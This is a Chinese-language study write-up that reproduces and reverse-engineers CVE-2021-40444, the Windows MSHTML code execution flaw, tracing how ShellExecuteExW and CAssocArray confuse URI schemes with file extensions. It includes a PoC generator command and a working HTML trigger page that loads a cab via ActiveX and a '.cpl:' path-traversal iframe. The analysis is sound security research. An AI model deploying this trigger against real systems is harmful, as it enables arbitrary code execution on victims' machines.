CVE-2021-40444 Windows MSHTML 远程命令执行漏洞分析 [1]

概述

MSHTML(也称为 Trident)是 Microsoft Internet Explorer 的浏览器引擎。

CVE-2021-40444 是存在于 Windows MSHTML 中的一个远程代码执行漏洞。攻击者可以制作恶意 ActiveX 控件,供托管浏览器渲染引擎的 Microsoft Office 文档使用。然后攻击者可诱使用户打开恶意文档触发该漏洞,从而在受害者机器上执行任意恶意命令。

本文是对 CVE-2021-40444 Windows MSHTML 远程命令执行漏洞复现分析的学习笔记。

环境准备

用 Windows 10 20H2 的 ISO 搭一个干净的 Windows 10 虚拟机,然后禁用安全更新和 Windows Defender:

漏洞复现

首先 CVE-2021-40444 本质上是 MSHTML 里的一个远程命令执行漏洞,所以它肯定是可以在 IE 浏览器的环境里利用,再然后才是 Word 里可以内嵌 OLE 外链调用 IE 加载页面,所以导致可以直接通过 Word 文档触发。

先在 IE 浏览器的环境里尝试复现这个过程。Windows 10 后用 IE 打开页面会强制用 Edge 打开,我们先把这个限制去掉,在“Internet 选项”-“高级”-“设置”里,取消勾选“启用第三方浏览器扩展”,这样使用 IE 时就不再强制跳转到 Edge:

image-20240925171154598

然后用网上的 PoC 生成一个 cab:

https://github.com/lockedbyte/CVE-2021-40444

1
2
# 执行下面命令,会生成一个 word.cab
$ python3 exploit.py generate test/calc.dll http://<SRV IP>

IE 浏览器里访问如下页面,弹出计算器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<body>
<script>
function CplExec() {
var i = document.createElement("iframe");
document.documentElement.appendChild(i);
i.src = ".cpl:../../../AppData/Local/Temp/Low/msword.inf";
}
var obj = document.createElement("object");
obj.setAttribute("codebase", window.location.origin + "/word.cab#version=5,0,0,0");
obj.setAttribute("classid", "CLSID:edbc374c-5730-432a-b5b8-de94f0b57217");
setTimeout(CplExec, 2000);
</script>
</body>
</html>

image-20240925172533694

漏洞分析

漏洞拆解

结合 PoC 和 Procmon 跟踪的结果,这个漏洞粗略来看由两个部分组成:

  1. 访问 .cpl:../../xxx.inf 造成的任意 DLL 加载;
  2. cab 加载解析时的路径穿越。

因此对 CVE-2021-40444 这个漏洞进行拆解,先看看访问 .cpl:../../xxx.inf 是怎么造成的任意 DLL 加载。

用 IE 访问一个带如下 JS 的网页:

1
2
3
var i = document.createElement("iframe");
document.documentElement.appendChild(i);
i.src = ".cpl:../../../../../fuckyou.abc";

Procmon 跟踪,发现它会查到注册表 HKEY_CLASSES_ROOT\.cpl

image-20241021034332567

HKEY_CLASSES_ROOT\.cpl 对应去查 HKEY_CLASSES_ROOT\cplfile,因此也就查到并执行对应的命令:

image-20241021032758816

image-20241021032907927

根据 Procmon 跟踪的结果,初步猜测逻辑是这样:

  1. IE 里的 iframe 通过 src 加载资源地址;
  2. IE 解析资源地址,结果误将它解析成 .cpl 后缀的本地文件;
  3. IE 查询注册表,找到 .cpl 文件后缀所关联的命令;
  4. 因此 IE 将资源地址 .cpl:../../xxx.abc 作为参数传给 .cpl 后缀关联的程序 control.exe 执行;
  5. 然而 control.exe 却不认为它的后缀是 .cpl,而是 .abc,并且会解析目录穿越,最终将资源地址当作 DLL 加载执行。

这里就引申出下面几个问题:

  1. 为什么 .cpl:../../xxx.inf 会被 .cpl 文件名后缀的关联程序处理执行?
  2. .cpl 文件名后缀关联的程序怎么导致的任意 dll 加载?
  3. IE 在加载解析 cab 时是如何导致路径穿越的?
  4. ……

从 ShellExecuteExW 开始

先分析第一个问题:为什么 .cpl:../../xxx.inf 会被 .cpl 文件名后缀的关联程序处理执行?

由于先前没有分析过 IE 浏览器,但是有 ShellExecuteExW 函数的分析经验,单纯就上面的步骤来看,IE 解析执行 uri 的逻辑和 ShellExecuteExW 是很像的,因此选择从自己熟悉的知识点快速切入,将这个问题转化成使用 ShellExecuteExW 函数的场景:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <Windows.h>
#include <wchar.h>

int wmain(int argc, wchar_t* argv[]) // Use wmain for wide character support
{
if (argc < 2) // Check if an argument is provided
{
wprintf(L"No file specified to open.\n");
return 1;
}

SHELLEXECUTEINFOW shExInfo = { 0 };
shExInfo.cbSize = sizeof(SHELLEXECUTEINFOW);
shExInfo.fMask = SEE_MASK_FLAG_NO_UI | SEE_MASK_NOASYNC | SEE_MASK_NOCLOSEPROCESS; // 0x540
shExInfo.lpVerb = NULL; // Default is OPEN
shExInfo.lpFile = argv[1]; // Use the first argument as the file path
shExInfo.nShow = SW_SHOWNORMAL;

if (ShellExecuteExW(&shExInfo))
{
// File opened successfully
// Perform additional actions if needed
}
else
{
// Failed to open the file
DWORD dwError = GetLastError();
wprintf(L"Failed to open file with error code %lu\n", dwError);
}

return 0;
}

果不其然,两者的逻辑是类似的:

image-20241021035255134

由此来看,这个解析问题并不特定于 .cpl 后缀或者 MSHTML 的场景下,而是 Windows 某些函数库在解析资源路径时解析不当导致的安全问题。该上 IDA 和 WinDBG 来看看到底怎么回事了。

还是先从熟悉的 ShellExecuteExW 调试分析开始。ShellExecuteExW 是 shell32.dll 里的一个函数,用于对一个文件资源(SHELLEXECUTEINFOW->lpFile)进行特定的操作(SHELLEXECUTEINFOW->lpVerb),这个文件资源路径格式比较宽泛,可以是本地文件路径,也可以是 UNC 网络路径,或者是某个 URI。常用的操作为 open。

ShellExecuteExW 主要功能逻辑体现在 CShellExecute::ExecuteNormal 函数里,它先执行 CShellExecute::SetFile,将 _SHELLEXECUTEINFOW->lpFile 存到 CShellExecute 结构体 0xF8 偏移处,随后执行 CShellExecute::_DoExecute

image-20241017193109075

CShellExecute::_DoExecute 函数中,先执行 CShellExecute::ParseOrValidateTargetIdList 将 lpFile 资源名解析成 PIDL,然后再通过 CShellExecute::_InvokeCtxMenu 去执行对应关联的命令:

image-20241021150453597

Windows Shell’s Namespace

这里需要了解下 Windows 里关于文件资源的一些基本概念。我们知道,在 Linux 文件系统中,文件资源按树状的架构进行组织,树节点是文件夹,叶子是文件本身:

image-20241021165808485

类似地,在 Windows 里,Shell namespace 也是按照树状结构去组织文件,不过它就不仅是只包含系统磁盘上的文件和文件夹,它还包括非文件的系统和虚拟对象(virtual objects),比如:网络打印机、网络上的其他计算机、“控制面板”应用、回收站等等,有些虚拟对象是完全不涉及物理存储空间的:

image-20241021170557140

那为了在 Shell namespace 里统一地描述和定位这些资源,Windows 引入了 Item ID 的概念,给 Shell namespace 里的每一个对象对应一个 item ID,它的功能就相当于是文件系统里的文件名,起到标识资源的作用。Item ID 实际上是一个 SHITEMID 结构体:

1
2
3
4
typedef struct _SHITEMID { 
USHORT cb;
BYTE abID[1];
} SHITEMID, * LPSHITEMID;

结构体成员 abID 就是对象的标识符 id,成员 cb 表示 abID 的字节长度加上 cb 本身的2个字节长度,这也就表示 abID 的字节长度不是固定的。并且,ID 值是由包含这个对象的文件夹对象来决定的,没有统一的标准,所以只有当它和包含它的文件夹对象(folder object)关联的时候才有意义,对应用程序来说,只需要当把它当作一个特定文件夹下的对象标识符即可。

由于 item ID 对展示功能来说不太友好,包含该对象的文件夹对象通常会再给它赋值一个展示用的名字(display name),就像在 Windows Explorer 资源管理器里看到的那些。

就像文件系统中为了找到某个文件需要使用完整的绝对路径,Shell namespace 下为了找到某个对象就需要 item ID list,也就是按照树层级将某个对象 item ID 和包含它的文件夹对象的 item ID 拼在一起,并且末尾用宽字符 NULL 结尾(如下图所示,格子上面是各对象的 display name):

image-20241021172743149

指向 item ID List 的指针就叫做 PIDL,类似文件路径,PIDL 也分相对 PIDL 和完整 PIDL(或者叫绝对 PIDL)。完整的 PIDL 都是从 desktop 对象开始,也就是说 desktop 对象是 Shell namespace root。

Shell namespace 里,每个文件夹对象都由一个 COM(Component Object Model)对象表示,它提供一些接口用于常见的文件操作。所有的文件夹对象都必须提供 IShellFolder 接口。

如果要使用某个文件夹对象进行相关操作,必须先获取它 IShellFolder 接口的指针。前面说过,Shell namespace 是按树状结构组织的,要找到其中某个文件夹节点,那自然得从根开始找,根是 desktop,所以需要先通过调用 SHGetDesktopFolder 这类函数来获取 desktop 对象的 IShellFolder 接口。

获取到 desktop 的 IShellFolder 接口后,接下来怎么定位你想找的那个文件夹对象的 IShellFolder 接口就有多种方式了:

  • 如果你已经有了目标文件夹的 PIDL(比如通过调用 SHGetFolderLocation),那么就可以直接通过调用 desktop IShellFolder::BindToObject 方法来获取目标文件夹的 IShellFolder;
  • 如果你只有这个文件夹在文件系统上的路径,那么需要先通过调用 desktop 的 IShellFolder::ParseDisplayName 方法获取它的 PIDL,然后再调用 IShellFolder::BindToObject
  • 如果这些都没有,那你可能需要通过层层枚举和匹配的方式来定位了。

这些概念初次看会觉得很抽象,但有了这些概念作为基础,接下来逆向的时候理解代码逻辑就会容易很多了。

[!NOTE]

读一下下面两篇官方文档,对理解 Shell namespace、pidl 等很有帮助:

解析 Display Name 为 PIDL

回到代码分析上,由于要找的文件的 PIDL 还不清楚,所以在 CShellExecute::ParseOrValidateTargetIdList 里通过执行 SHParseDisplayName 将文件名 SHELLEXECUTEINFOW->lpFile 视为 display name,解析成 pidl,存到 CShellExecute 结构体 0x50 偏移处:

image-20241021174109079

前面说了,pidl 会关系到 Shell namespace 里文件对象的定位,所以有必要跟进 SHParseDisplayName 函数看看里面的细节实现:

image-20241022163124393

和官方文档里讲的差不多,先获取 desktop IShellFolder 接口,然后调用 IShellFolder::ParseDisplayName 将文件对象名解析成 PIDL,这里实际是 CRegFolder::ParseDisplayName,跟进去它里面又会先执行到 CDesktopFolder::ParseDisplayName

CDesktopFolder::ParseDisplayName,会根据 name 的值走入不同的逻辑分支:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// If found driver number in path ...
if ( PathGetDriveNumberW(name_) != -1 && (v18 || name_[1] == ':') )
{
// ......
}
// If path is UNC path ...
else if ( PathIsUNCW(name_) && (v18 || name_[2] != '?') )
{
// ......
}
// If is not URL ...
else if ( !UrlIsW(name_, URLIS_URL) || (unsigned int)SHSkipJunctionBinding(v8, 0i64) )
{
// ......
}
// Otherwise ...
{
retCode = CDesktopFolder::_TryUrlJunctions(v14, name_, v8, &v91, &pidl);
}

KernelBase!UrlIsW 函数对 name 是否匹配 URLIS_URL 的标准非常宽松,只要 name 里出现了冒号 : ,且冒号的位置在字符串开头第三个字符及之后的位置,就认为它是一个 URL,并没有检查 scheme 是否包含特殊字符之类的。因此对于 .txt:../../../../../wtf.abc 这样的 name 来说,会执行到 CDesktopFolder::_TryUrlJunctions 这个分支里:调用 ParseURLW 根据解析出来的 URL scheme 来判断。

image-20241023020347272

这里 ParseURLW 解析 .txt:../../../../../wtf.abc 得到的 protocol 是 .txt,scheme enum 是 URL_SCHEME_UNKNOWN,走进 _TryRegisteredUrlJunction 函数,尝试查询注册表项:

1
HKEY_CLASSES_ROOT\<Protocol>\ShellFolder

但由于找不到像 cpl 或者我们这里随便写的 txt 这种 protocol 对应的注册表项,因此实际上 CDesktopFolder::_TryUrlJunctions 函数对 name 也是解析失败。

[!NOTE]

发散思考:如果 protocol ShellFolder 找到了,但是注册表里是多段路径拼接,会怎么样?

CDesktopFolder::ParseDisplayName 函数解析失败后,返回到 CRegFolder::ParseDisplayName 里继续解析。从名字里也能猜到,CRegFolder 主要用于处理注册表项映射到虚拟文件夹对象的情况。它会根据各虚拟文件夹对象的 CLSID 去查询相应的注册表配置:

image-20241023172240571

对于每个虚拟文件夹对象在注册表里配置的 FolderValueFlags 进行如下条件判断:

1
FolderValueFlags & 0x10 != 0 && (FolderValueFlags & 0x20 || PathIsURLW(name))

经过调试发现,它依次查询了:

1
2
3
4
5
6
7
8
9
10
# NAME:CLSID_MyComputer VALUE:20d04fe0-3aea-1069-a2d8-08002b30309d
HKEY_CLASSES_ROOT\CLSID\{20d04fe0-3aea-1069-a2d8-08002b30309d}\ShellFolder

# NAME:CLSID_NetworkPlaces VALUE:208d2c60-3aea-1069-a2d7-08002b30309d
HKEY_CLASSES_ROOT\CLSID\{208d2c60-3aea-1069-a2d7-08002b30309d}\ShellFolder

# NAME:CLSID_Internet VALUE:871c5380-42a0-1069-a2ea-08002b30309d
HKEY_CLASSES_ROOT\CLSID\{871c5380-42a0-1069-a2ea-08002b30309d}\ShellFolder

......

当查到 Internet ShellFolder 时,发现它的 FolderValueFlags 为 0x00020212:

image-20241023172410000

Internet ShellFolder FolderValueFlags & 0x10 != 0 为 true,FolderValueFlags & 0x20 为 false,但 PathIsURLW(".txt:../../../wtf.abc") 为 true。

因此 Internet ShellFolder 命中,接下来执行 CRegFolder::_CreateAndFillIDLREGITEMCRegFolder::_ParseThroughItem

CRegFolder::_CreateAndFillIDLREGITEM 中,生成文件夹对象的相对 PIDL:

image-20241024020643452

由于匹配命中的文件夹对象是 Internet,所以 GUID 部分为 871c5380-42a0-1069-a2ea-08002b30309d。故 Internet 文件夹对象的 pidl 内存布局如下:

image-20241024021539467

image-20241024021930295

CRegFolder::_ParseThroughItem 里,先执行 CRegFolder::_BindToItem 来根据文件夹对象的 pidl 获取对应的 IShellFolder 接口,然后调用 IShellFolder::ParseDisplayName 解析 display name 对应的 pidl,如果解析成功,则执行 SHILCombine 函数将文件夹对象和文件对象的这两个相对 pidl 拼接,得到完整的 pidl:

image-20241025163439651

来详细看看这个过程是怎么做的。由于命中的文件夹对象是 Internet,所以这里 IShellFolder::ParseDisplayName 接口对应的方法为 CInternetFolder::ParseDisplayName,跟进去,发现它先通过 _EnsureIUri 调用 CreateUri 函数解析出 IUri 接口:

image-20241025141624150

然后通过 CUString 检查 uri 是否含有 scheme 且 scheme 不为 URL_SCHEME_FILE 或 URL_SCHEME_SHELL:

image-20241025141756864

满足的话就进入到 IUriToPidl 函数做转换。IUriToPidl 里先检查 uri 是否带有 fragment (#):

image-20241025012813776没有 fragment 就跳到 LABEL_4,通过 CUString 判断 uri 是否为绝对 uri,然后调用 _UrlIdCreate 函数将 uri 转成 pidl:

image-20241025012900214

_UrlIdCreate 实现如下:

image-20241025014033460

故 uri 解析出来的 pidl 内存布局如下:

image-20241025014741099

image-20241025015659396

IUriToPidl 执行成功,得到 uri 的 pidl,然后调用 CInternetFolder::_GetAttributesOfProtocol 设置 dwAttributes:

image-20241025151434853

CInternetFolder::_GetAttributesOfProtocol 里,先校验 pidl 是否有效(这个当然通过了),然后从 pidl 里提出 uri 字符串,根据 IsValidURL(0, uri, 0) 的判断结果来决定是否保留原先 dwAttributes 里的 0x400000 位:

  • 如果 IsValidURL 判断 uri 有效,则 dwAttributes = dwAttributes & 0x08400004;
  • 否则 dwAttributes = dwAttributes & 0x08000004。

image-20241025150426199

这里调试发现 IsValidURL(0, ".txt:../../wtf.abc", 0) 会解析失败返回1,表明 url 无效,因此 IsPlugableProtocol 函数返回 false。

注:这里的标志位 dwAttributes 其实是 sfgao:SFGAO (Shobjidl.h) - Win32 apps | Microsoft Learn

SFGAO bitfield values represent attributes that can be retrieved on an item (file or folder) or set of items. They are used with the IShellFolder and IShellItem APIs, most notably IShellFolder::GetAttributesOf and IShellItem::GetAttributes.

1
2
3
4
5
6
0x00000004	SFGAO_CANLINK
0x00008000 SFGAO_GHOSTED
0x00010000 SFGAO_LINK
0x00400000 SFGAO_STREAM
0x08000000 SFGAO_BROWSABLE
0x40000000 SFGAO_FILESYSTEM

断点调试时发现执行 CInternetFolder::_GetAttributesOfProtocol 前 dwAttributes 是 0x40418000,所以执行完后 dwAttributes = 0x40418000 & 0x08000004 = 0。

设置完 dwAttributes 后,CInternetFolder::ParseDisplayName 函数就执行完了,而且现在 folder pidl 有了,uri pidl 也有了,该把这俩相对 pidl 拼一块得到完整的 pidl 了,SHILCombine 函数做这个工作:

image-20241025163707407

image-20241025163804594

到这里 SHParseDisplayName 函数就差不多执行完了,完整的 pidl 有了,sfgao = sfgaoin & dwAttributes = 0x40418000 & 0 = 0 也有了:

image-20241025170030218

CShellExecute::ParseOrValidateTargetIdList 函数到此也执行完毕,解析得到的 pidl 存在 CShellExecute 结构体 +0x50 偏移处,sfgao 存在 CShellExecute 结构体 +0x58 偏移处(dword)。

Context Menu 关联查询

回到 CShellExecute::_DoExecute 里,通过前面所说的 CShellExecute::ParseOrValidateTargetIdList 解析出 pidl 后,接下来该执行 CShellExecute::_InvokeCtxMenu

image-20241025173821135

CShellExecute::_InvokeCtxMenu 里,先执行了 SHGetUIObjectFromFullPIDL:

image-20241106172356950

这里的 GUID 是 IContextMenu,为了便于后续的理解,先介绍下 Context Menu 相关的一些概念。当用户在文件资源管理器里右键像文件这样的 Shell 对象时,Shell 会展示出一个快捷菜单(Shortcut Menu),又叫上下文菜单(Context Menu)。这个菜单包含用户可以选择对项目执行各种操作的命令列表:

image-20241107150355578

这些命令又叫做 shortcut menu items or verbs,比如像最常见的 Open,它关联的命令很可能就长这样:

1
"My Program.exe" "%1"

My Program.exe 是处理这个文件的程序,%1 是文件路径占位符。

IContextMenu 这个接口则主要提供用于和 Context Menu 交互的相关功能操作,应用程序可以通过 IContextMenu 来获取文件对象的相关 Context Menu 信息,以便于调用关联的命令:

Applications use IContextMenu to retrieve information about the items in an object’s shortcut menu and to invoke the associated commands. To retrieve an object’s IContextMenu interface, an application must call the object’s IShellFolder::GetUIObjectOf method.

所以不难看出 SHGetUIObjectFromFullPIDL 函数是根据 Shell 文件对象的完整 PIDL 去获取对应的 IContextMenu 接口实现。

既然和 pidl 处理相关,那么还是应该跟进去看看细节。SHGetUIObjectFromFullPIDL 里先执行了 SHBindToFolderIDListParentEx 函数:

image-20241107153640581

SHBindToFolderIDListParentEx 函数里会把完整的 pidl 拆开成父 pidl(虚拟文件夹对应的 pidl)和子 pidl(实际要找的文件对象 pidl):

image-20241107153335555

然后通过 IShellFolder-> BindToObject 根据虚拟文件夹 pidl 获取到对应的 IShellFolder 接口对象(前面已经分析过了,这里 IShellFolder 自然是 Internet):

image-20241107153427166

IShellFolder 接口对象和子 pidl 最后会保存赋值给 SHBindToFolderIDListParentEx 函数的最后两个参数。

然后就会执行 CInternetFolder::GetUIObjectOf(记住这里传递的 GUID 是 IContextMenu):

image-20241107153707614

由于传递的是 GUID 参数是 IContextMenu,在 CInternetFolder::GetUIObjectOf 函数里经过 GUID 的比较后,会执行到 shell32!SHELL32_SHCreateDefaultContextMenu

image-20241106175327726

官方文档里关于 SHCreateDefaultContextMenu 函数的说明:

This function is typically used in the implementation of IShellFolder::GetUIObjectOf. GetUIObjectOf creates a context menu that merges IContextMenu handlers specified by the DEFCONTEXTMENU structure, and can optionally provide default context menu verb implementations such as open, explore, delete, and copy.

The operation of this function is controlled by the input specified in the DEFCONTEXTMENU structure.The APICDefFolderMenu_Create2 is another way to construct the default context menu implementation. It is less expressive than SHCreateDefaultContextMenu but it exists in platforms prior to Windows Vista.

跟进去:

image-20241106180853561

CDefFolderMenu::Initialize 里取出 child pidl,GUID 设为 IQueryAssociations,来执行 SHGetUIObjectOfItem:

image-20241107163215567

SHGetUIObjectOfItem 又会执行到 IShellFolder::GetUIObjectOf,因此又执行回 CInternetFolder::GetUIObjectOf,只不过这次 GUID 是 IQueryAssociations

image-20241107164158337

[!NOTE]

关于 IQueryAssociations,官方文档的介绍:

Use this interface if you need information from the registry related to file or protocol associations. For example, you can use this interface to retrieve information associated with a file name extension such as the command string of one of its verbs.

其实从这里就能感受到,IQueryAssociations 在判断 Shell 对象关联时是存在兼容性的,既支持文件后缀关联,也支持 uri 协议。

跟进:

image-20241107180757097

CInternetFolder::_InitAssociations 里,从 pidl 里取出 uri,然后调用 UrlGetPartW 获取 uri 的 scheme 部分,调用 IQueryAssociations::Init 方法,这里也就是 CAssocArray::Init:

image-20241107181526993

对于 .txt:../../../../../wtf.abc 这样的 uri 来说,解析出来的 scheme 部分是 .txt,flag 为 0x1000。

跟进 CAssocArray::Init,这里 ASSOCIATIONELEMENT ac 设置为了 ASSOCCLASS_STAR|ASSOCCLASS_PROGID_STR,pszClass 设置为了先前 uri 里解析出来的 scheme:

image-20241107181802633

  • ASSOCCLASS_STAR: Use the association information stored under the HKEY_CLASSES_ROOT\* subkey. When this flag is set, hkClass and pszClass are ignored.
  • ASSOCCLASS_PROGID_STR: The pszClass member names a ProgID found as HKEY_CLASSES_ROOT\pszClass.

到这里其实就开始感觉不对劲了,因为 ASSOCIATIONELEMENT->ac 的值里包含了 ASSOCCLASS_PROGID_STR,这说明 scheme(也就是这里的 pszClass)很可能会被直接拼到 HKEY_CLASSES_ROOT 下面去查询。HKEY_CLASSES_ROOT 下面不仅有 Uri Scheme 的信息,还有 File Extension 的,以及 Prog ID、Class ID 等等等等。

先接着再往后看。跟进 CreateAndInitAssocList 函数,执行到 CAssocList::_CreateElement 函数里,根据 ASSOCIATIONELEMENT->ac 的值,rclsid 会被设置为 CLSID_AssocProtocolElement,然后执行 AssocElemCreateForClass2 函数,所以这里第一个参数 GUID 是 AssocProtocolElement,第4个参数 GUID 对应的是 IAssociationElement:

image-20241107184239701

跟进 AssocElemCreateForClass2:

image-20241107201935345

跟进 CAssocShellElement::SetKey,执行到 CAssocProgidElement::_InitSource

image-20241107202252932

到这里终于真相大白了。明明前面还在在按照 Uri 解析的,提取的 pszClass 是 scheme 协议名,但到了这里已经是把 scheme 和 file extension 混用了,pszClass 第一个字符如果是 . 点号就执行 CAssocProgidElement::_MapExtensionToUserDefault

image-20241107204410461

不出意外地,它去查了注册表 HKEY_CLASSES_ROOT\pszClass。看到这里后面其实就不需要看了,uri 协议名的关联程序彻底混淆弄成了文件名后缀的关联处理程序,.cpl:../../xxx.abc 自然就被解析成了 .cpl 后缀的文件路径去处理了。

现在搞清楚了 ShellExecuteExW 函数处理时,uri 协议名和文件后缀名是如何处理混淆的,接下来该看看 IE 里是怎么回事了。

参考资料